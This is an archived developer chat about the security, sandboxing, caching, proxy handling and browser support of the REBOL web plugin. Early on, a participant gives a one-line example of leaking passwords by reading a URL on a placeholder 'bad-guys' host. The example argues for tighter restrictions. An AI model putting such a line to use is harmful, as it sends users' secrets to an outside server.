AltME groups: search

<<disallowing send? why? can't you just send email by java script?>>

Because it is an easy way for some bad software to leak confidential/private 
information from my machine -- gather all the stuff it can and then 
send it in an email.

Similarly, being able to *read* URLs is another way info can be leaked.....The 
server at the other end records the URL parameters, eg

    read http://www.bad-guys-website.com?passwords-dicovered=abcdef/secret123
security as weak as javascript's
 is not a good selling point

I will be using the rebol plugin probably in two ways: 1. making 
real applications as part of a subscription service. 2. making real 
applications that are paid for with ads, generally text and flash 
based ads. And when I say real applications, I basically mean doing 
things you cannot easily do in java or javascript. These ARE things 
that require trusted security, such as sending raw emails, loading 
and saving files, doing virus scans, and all the freaky stuff you 
cannot normally do using AJAX.  Quite simply the situation is that 
if you could do it with AJAX, there is no reason to use rebol--from 
the laymans point of view.

I think the securty essentially needs clear and wide throttle controls.

Yup. Let me give keys to my friends and the others still able to 
knock onthe door.

Hi guys. I was going to take the security issues one at a time, but 
Carl and I are talking about getting some kind of file location where 
I can upload a design doc for you to take a look at.

I'm going to gather your comments and we'll keep those in mind and 
work them into a draft plan which we'll post in the form of a design 
doc in a couple of weeks as I said.

Here's what I am trying to do.  I have a client that has a locked 
PC build (users can't install software).  The plugin managed to install, 
and when network connected was able to find the .r file and execute 
it off the hosting web-server.  However, say the web-server is down 
or network connectivity is unavailable, I'd like the applications 
to still be launchable so the app isn't impacted by an 'outage'.

I suppose I could use Javascript in my HTML file to check for the 
webserver and if not there try to launch the local copy from the 
sandbox.  Any thoughts?

Or you could download an html-file into the sandbox and the user 
opens it locally by explorer. I guess the plugin would then load 
from the filesystem too. But not sure.

Brock, I'm pretty sure it's possible to do that now. I killed my 
network connection and tested the plugin with a remote file that 
I had already downloaded (it was in the sandbox cache)

Its just like the dekstop-sandbox, only on another place. You should 
find that dir by showing 'what-dir. And then just write the html-file 
there, load-thru may do the trick.

Yes, see source of PATH-THRU.  Instead of using DO, LOAD and EXISTS?, 
 use DO-THRU, LOAD-THRU and EXISTS-THRU? They all use PATH-THRU.

Oh, and READ -> READ-THRU

Okay, writing the html file in the sandbox folder worked.  In my 
case, the path to the .r file was C:\Documents and Settings\Brock\Local 
Settings\Temp\REBOL\Plugin\Mozilla\0\public\localhost.  When I placed 
the .html file in the \localhost folder, the html file errored saying 
"Cannot open /C/Documents and Settings/Brock/Local Settings/Temp/REBOL/Plugin/Mozilla/0/wt-selector-2.r", 
so I added the missing part of the physical URL "\public\localhost" 
to the .html file and it works just fine

Maybe using the load-thru or read-thru here would have resolved this? 
 I haven't used those commands much so not certain exactly how the 
-thru commands work and where to use them... I'll read the source 
as suggested by Anton.

I was kind of hoping something like that.  Even better would be that 
if you tried accessing the html file and there wasn't any network 
connectivity that it would by default check to see if the files were 
in the sandbox and you would avoid this all together :-)

Just jump to console and type:

	path-thru http://some-url.com/blah.html

And one could use html-editors to write. They can handle unicode. 
With some care in parsing rebol could use the &*; as is.

Add a html-field which knows about this, unicode and good integration 
with formatted text.

I can't wait to be able to click on a ".r" file and have it just 
pop up and go.

That works too if the mime for *.r is application/x-rebol . But then 
it is complicated to view source. And it could be nice if *.r would 
run automatically as plugin, without generating an html-wrapper.

(in fact, the Acroba or MS Wordt-style MIME-type handler, where it 
inserts its EXE into the web browser, is slow, clunky, and almost 
universally hated by end-users, including myself LOL)

what is the current way to get plugin running? moz by copying files 
and ie no 1.3.2 because of certificate?

Tell me where I'm missing it. The goal of the plugin is to provide 
an environment for REBOL apps to run within an HTML page. It has 
nothing to do with download.


This is the second time you have paraphrased what I wrote in a way 
I can't tract.



R: I can't wait to be able to click on a ".r" file and have it just 
pop up and go.
J: How does double-clicking on a r file relate to the plugin?
J: It has nothing to do with download.


I don't know why you mention double click, nor do I know what downloading 
has to do with this.


Perhaps we can get on the same page by simply answering my question… 
when someone comes across a .r file, what happens now?

i somehow get only the  1.4.47 with ie. where to look, and what tag 
to use?

You have to uninstall the old version first. It's not really that 
the old plugin is still online, it's that IE doesn't check for a 
new version and just loads the old one.

To uninstall, go to \Windows\Downloaded Program Files via Explorer. 
Right-click on "REBOL/Plugin" and click Remove.

Reichart: What happens now? If the View EXE is installed, it launches 
and opens the .r file. If not, nothing happens.


That is the ideal scenario. I manually associated .r files to the 
View EXE, so I don't know if it does that on install or not. If not, 
that's a task for whoever owns the EXE installation. It has nothing 
to do with the plugin.

Yes. And its 2.6.2 now. What did you do?! :)

Reichart: Actually, when I click on a .r file for download and press 
"Open", it launches View but doesn't open the file. Why? I have no 
idea. It looks like two things need to happen:

 1. Download should not trigger Open or Save -- this can be accomplished 
 by registering a MIME-Type handler upon EXE install.

 2. It should actually open the file -- maybe the EXE's not picking 
 up on the Open request for some reason.


These are legitmate issues, but they all relate to the REBOL EXE. 
I'm sorry, but it's just not my area. You'll have to pass this feedback 
along to Carl or whoever owns the Windows EXE development for R3.0.

On network its related to the server too. usually it says *.r is 
text/plain. with application/x-rebol it launches rebol IIRC (clicked 
here and there and now does something else anyway).

as for browser mime-types, e.g. in Mozilla, you can add your own 
ones, e.g. application/x-rebol and point it to exe. Then it will 
work imo ONLY when web server sends it with that mime type. In other 
case, it will imo provide you with save-as dialog box ...

Lets come back to my original statement "I can't wait to be able 
to click on a ".r" file and have it just pop up and go."


You seem to be getting side tracked with assumptions or something.


Q: Reichart: Actually, when I click on a .r file for download and 
press "Open", it launches View but doesn't open the file. Why? I 
have no idea. It looks like two things need to happen:


A: And what should happen, and what 60-90 people will expect to happen 
if this is to be "part of the web" is that it does exactly what Flash 
did (which is now part of FF), and most other plug-ins do, which 
is ask you if you want to install a Rebol plug in.


If the person says yes, then it does its thing, goes back to the 
original .R file, and pulls it in and runs it.


If you are a nerd, you can go screw with your settings to make it 
first ask you if you want to:
O View source 
O Run now


Q: These are legitmate issues, but they all relate to the REBOL EXE. 
I'm sorry, but it's just not my area. 
A: No, it seems this is 100% the plug-in. 


Let me ask a different "set" of questions that might make this all 
easier?


When will we all be able to click on a ".r" file (and by .r I mean 
a link that is actually a wrapper with all the crap needed to know 
what to do), and it will ask you to install the plug-in, handle all 
that crap, and it will go back and get the .r file and run it?

launches View but doesn't open the file

 here it launches, IIRc it did that immediate without me setting something 
 (now i prefer editor by  default, so cant check).

and by .r I mean a link that is actually a wrapper with all the crap 
needed to know what to do

 AFAK that is some html-markup, not *.r-created. On IE the plugin 
 installs automatically, on firefox that will come.

And plugins and mime are two things, plugins run inside the browser 
and need some marku (AFAIK), mime-types are launched by  external 
apps (rebol if the server says its application/x-rebol)

There are two distinct issues that we need to seperate:
	1. "Automatic" installation of the plugin.

 2. Detecting and running a .r file. And by ".r" file, I mean a link 
 to a REBOL source file -- NOT a wrapper page or anything else (that 
 is really HTML and not a .r file).

To simplify the issue, let me pose a scneario. Joe has a fresh copy 
of XP, no REBOL nothing. He clicks on a .r file. You want the plugin 
to install itself and open the .r file inside the browser window. 
Am I understanding your goal?

To simplify the issue, let me pose a scneario. Joe has a fresh copy 
of XP, no REBOL nothing. He clicks on a .r file. You want the plugin 
to install itself and open the .r file inside the browser window. 
Am I understanding your goal?


No, I want it wrapped.  The ".r" is simply a reference point, since 
we don't have a word for a Rebol executable script.  Want to call 
it ".rrs" (Rebol run script) or something?  Flash calls theirs SWF, 
FLV, etc.

However, I don't understand why the current approach doesn't work 
for you. Why not just make a HTML page that has the plugin OBJECT 
tag, it will download, install automatically, and then run the .r 
script.

Every plugin page works that way. When you include the OBJECT tag 
mentioned above, it downloads, installs automatically (with user 
permission), and runs the .r file in LaunchURL.

Using Object or Embed tag is the only way to tell the browser to 
download plugins. This is the default behaviour and IMHO Rebol plugin 
should follow it. No more, no less.

If this is possible, I could build html interface and use rebol instead 
of javascript and ajax.

otherwise they could just download and run the actual application

.. actually I didn't tried, I used object tag and polling from rebol 
to detect keypress in html :-)

For some reason I was under the impression that this whole thread 
was about making Rebol finally work on IE FF SA and OP.

Being out of sync with each other can account for a lot misunderstanding..


I have but one interest, for Rebol to be a self standing usable glue 
for cool little apps on the web the same way Flash is for little 
animated vignettes.


For this to happen we HAVE to support the top 4 (IE FF SA and OP). 
 And Opera is about to GROW, and Rebol and Opera may turn out to 
be a match made in heaven.  Opera is the dominate browser of imbedded 
systems.  It will start making news in the next 4-6 months.

And that's good feedback to have.

The main issue that's stopping us from full Opera support is scripting 
(Javascript -> REBOL -> Javascript). It uses this arcane infrastructure 
that was retired out of Netscape and Mozilla years ago. So, my question 
is, would you see REBOL succeeding on Opera *without* scripting support?

We should actually make contact with Opera's team directly.  They 
might be just as interested in Rebol as Rebol is in them.  I do not 
know anyone there ( I do know some of the FF team).  But I was planning 
to contact Opera soonish because I'm interested in working on a relationship 
where people buy a thintop (I'm coining this word for now) which 
is a super simple laptop with maybe a 1 gig sim card for memory, 
a keyboard, LCD display for lets say $100 bucks.   Has nothing BUT 
a browser (no OS….no M$ in other words).  I imagine this shipping 
with Opera built in, and I want it pointing to Qtask out of the gate.
 

So to answer your question, I think we need to get someone at Opera 
to take interest in Rebol, and help us solve problems.

Josh - have you somehow resorted proxy detection? Without that, and 
without some ability to configure plug-in, many ppl will be unable 
to use plug-in ....

Pekr, regarding proxy settings: If I remember correctly, we ended 
that conversation by realizing that get-net-info is the problem. 
So, whoever owns that REBOL code needs to fix it. This is all within 
the realm REBOL's network detection and not within the realm of the 
plugin itself.

Josh - I joined Opera's plug-in newsgroup and asked the question 
about the npruntime plugin api. I found someone was asking exactly 
the same in 2005. They said "I believe we are working on it.  However, 
I don't know how far we've come with this yet." I really don't understand 
such statements, that person does not know if something is, or is 
not going on in the company he works for.

Pekr, yes, Moz/FF is built against npruntime and XPConnect (for scripting).

that is bad, how do you want to support certain features then, if 
you can't depend on it? Should I ask about latest FF and npruntime? 
What version of FF were you checking against?

Steve sent a black MacBook to Carl asking him to return it in a month 
with a copy of Rapple, a customized dialect on top of rebol/base 
 that will  replace  AppleScript in 10.6, cause they need a more 
powerful and user friendly glue scriptig language, now that they 
have coreData,coreGraphics,ecc..

..and webkit people are thinking that rebol would better be integreted 
like javascript is, in the browser to rescue the world from all those 
web2.0 heavy cpu/memory consuming inbrowser javascript applications...

Hi all....here's an update on what we're working on for the next 
plugin release:

 * Multiple instances -- this feature will allow you to run multiple 
 plugins side-by-side within the same IE or Mozilla process.

 * Automatic updating -- no more uninstall! (aren't we all thrilled? 
 :)). This will be the last update you will have to install manually 
 via uninstall/reinstall; future backwards-compatible updates will 
 come automatically (with user consent).

 * Smooth install on Mozilla -- FF and other Mozilla.org-based browsers 
 will have a smooth install experience similar to IE.

 * do-browser in Mozilla -- you will be able to interact with the 
 HTML page from your REBOL scripts in Mozilla browsers.

 * Last, but not least: Opera 9 support -- the plugin will be compatible 
 with Opera 9, although the install process will not be as smooth 
 as Mozilla & FF.

We're working hard on this release and hope to have it out soon.....thanks 
for your patience!

We already went through this. get-net-info is REBOL code and part 
of /View itself.

If we could configure plug-in some-way, those behind proxy would 
at least normally edit their user.r and do some tweakings, not so 
with proxy ....

ah, of course, sorry .... now I get it - plug-in dll and view dll 
are two distinct things ...

Maybe put a detailed bug on RAMBO and I'll mention it to him, that 
this is a problem esp. for plugin users because there's no user.r.

Note: After some research, Pekr and I discovered that you can place 
a user.r file in the "sandbox" directory (system/options/home) with 
your proxy settings to get around the limitations of set-net-info.

Altme doesn't? Is that problem of altme? I doubt it - altme uses 
proxy settings ... but it uses world look-up, and for that single 
thing is requires some special port opened on firewall, thing our 
admins will not do for me ....

Yes, certificate support are also needed if we are going to replace 
those java banking apps, and medical applications

As a suggestion for dealing with proxy issues, why not have the plugin 
dll read the browser's proxy settings and then call the View dll 
with some REBOL code that would set its proxy settings accordingly?

plugin dll imo does not do anything, just starts View with some parameter 
.... it is View's get-net-info, which is outdated (look at the source) 
and incorrect. It looks at incorrect Registry setting

yes, and remembering such things. maybe asking on start to allow 
access to last session. if denied sandbox is cleared.

There should also be a way to provide access to the browser's objects. 
The browser already caches those, and that cache is managed by code 
that the user is already trusting.

and allowing access based on url is IMHO the most natural way.

and if you cancel "reuse last session" and check "forever" you are 
pretty much anonymous.

Banner ads are on web pages. You can make banner ads with Flash, 
and that is less dangerous than the current plugin.

files are a risk to privacy if they cant be blocked. that reuse-question 
does this. and they can be prepared to be run, eg called *.exe and 
hoping the user some day clicks on them. so i suggest a wrapper, 
maybe store everything as rebol[]#{stuff} or in a single zip or something.

As I've mentioned here before, there many nasty things you can do 
with the present plugin and I don't want to make suggestions on a 
web-public group. Go private if you want some ideas - I trust you 
not to misuse them.

I read the Flash security doc, and it has many good ideas. I'm still 
a little iffy about it providing cookies to anonymous scripts without 
providing a management interface - that's why I still use FlashBlock.

Cookies can be used to track your movements, and can be used as persistent 
distributed storage.

askiing user e.g. what you discussed here - "do you want your previous 
cache to be deleted?" would result to "What is cache?" in 99% and 
users would press "Yes" .... or "no" .... :-)

This is why it would be best to use the browser cache for "let me 
store some graphics so I won't have to download them every time" 
situations. Other user settings are small in comparison, and can 
easily be stored in browser cookies or server side. Then, no security 
requestors necessary.

hmm, that needs to be part of our user code. Not sure Carl will want 
to have two different versions of mezzanines - View, and plug-in 
one ...

You could probably implement port schemes for cookies:// and cache:// 
right now using mezzanine code wrapped around do-browser that would 
do the trick quite nicely. Then, all you would need to do is assign 
cache:// to view-root and the existing functions would work.

That limiting is the idea. Allowing someone to  mashup with some 
code from your bank -accaount is not the best idea. As feature yes, 
but unknown and as default?

Brian, where is the difference between a browser-cache and a selfmade 
one?

And i was discussing plugin2, not the way the sandbox works now.

Volker, the advantages to the browser cache are:
- There is already a management interface

- There are security restrictions as to what can be done with the 
content

- You can't count on data in the cache to stay there, it is a cache, 
not storage


We don't want persistent storage that can be used without permission, 
not without being able to track down the one using it. There are 
whole classes of data, the presence of which on your computer can 
get you arrested in the US and other countries, and you can't count 
on the assumption of innocence when the ones who find the data may 
not be technical enough to understand the difference. There are documented 
cases of people getting arrested for having someone else's child 
pornagraphy on their computers, and having their lives ruined as 
a result.

I think you guys ought to trust what BrianH is saying a little more. 
I throw all my support behind what Brian is saying here, and I also 
think there are a lot of things being repeated which have already 
been explained several times. I like the current direction the plugin 
seems to be heading.

although some storage for graphics-heavy things would be nice.

If you drop some flash you can have 10mb of storage without permission, 
and 100mb with.

I'm late to the conersation, but I'm backing Brian too.

The plugin arena is not the desktop arena, and extra special rules 
must apply.

Regarding security: we are on the same page. We haven't finalized 
the final security plan (we're hoping to get a draft plan doc up 
soon)....but a key component of the overall plan is something we're 
calling "Trusted Scripts", which is an infrastructure for signing 
scripts to enable licensing, rsponsibility (who made this script), 
lower security settings (again, for signed scripts only), and /Pro 
features.

Here's a few components of Trusted Scripts (this is only a draft 
-- open for feedback):
	* Default security model is tight -- how tight is TBD.

 * Developers that want to take advantage of Trusted Scripts, i.e. 
 to lower security for a production app, first must buy a license.key 
 from RT.

 * license.key unlocks  "features" and "permissions". Features are 
 things like encryption within the script. Permissions include file 
 sandbox, domain restrictions, dll loading permissions, etc.

 * license.key will contain contact info, so we can track down the 
 author of a malicious signed script if necessary.

Sounds in line with sdk: features for money. and you get some identity-check 
by money, good too. But you need something for the user to know what 
he is going to use. with url that is simple: stuff on this page. 
with signing its quite obfuscated. Shall i allow everything which 
RT gives a thumb up? Or are certicitates hardwired to domains?

do they have time and resources to sift through thousands of expertly 
crafted scripts per day? (just being positive about a future scenario 
:-))

That is the model used today in Authenticode and other code-signing 
technologies.

We are pleased to announce a new release of REBOL/Plugin. This release 
includes several new features, including:

 * Multiple instance support -- you can now have up to 5 instances 
 within one IE process.

 * Automatic updating -- after this release, backwards-compatible 
 updates will come automatically with user consent (no uninstall required).
	* Smooth install for FireFox and Mozilla.org-based browsers

 *Now compatible with Opera and all Mozilla browsers compatible with 
 npruntime. 
	*do-browser now functions in Mozilla.

James, please see the instructions in the install guide related to 
uninstallation of previous versions and adding rebol.com to your 
approved sites list.

Well, so far IE is a no go here. I closed all IE and deleted the 
files. At this point it just goes to the install page and I see the 
"blank" box.

Yeah I saw that and thought, "Oh, that's why."

Well, I went back to FF and added rebol.com. This time it downloaded 
the plugins (2 files, viewdll.dll and nprbmzpl.dll) and screen changed 
slightly in that I no longer see all of the white box that is supposed 
to be red and blue. It is cut off on the top.

Josh, would you be open to providing files so I can manually install 
and verify that it works once loaded.

Is the plugin served from an HTTPS site? It would be nice to avoid 
man-in-the-middle attacks. I'm always a little wary of putting non-SSL 
sites on the trusted sites list.


For that matter, when you have one site serving the html and script, 
and another serving the plugin, which site needs to be trusted, as 
far as the major browsers are concerned? I would think just the plugin 
serving site, but I don't quite remember right now...

only in firefox and not IE.

And enable javascript in ff .. (was stupid enough to forget that. 
thenno auto-install)

Brian. Mashups (as I'm referring to) is the common term for webapps 
that utilise numerous webservices and combined in the browsers. But 
I hope you can come up with a security method that allows us to utilise 
advertising, google adwords-api, flickr, amazon-api, numerous maps, 
calendars. etc ; without having to combine on a single server before 
it goes out to the clients rebol plugin. I can do all this now in 
a browser, but I won't be able to with a rebol-plugin?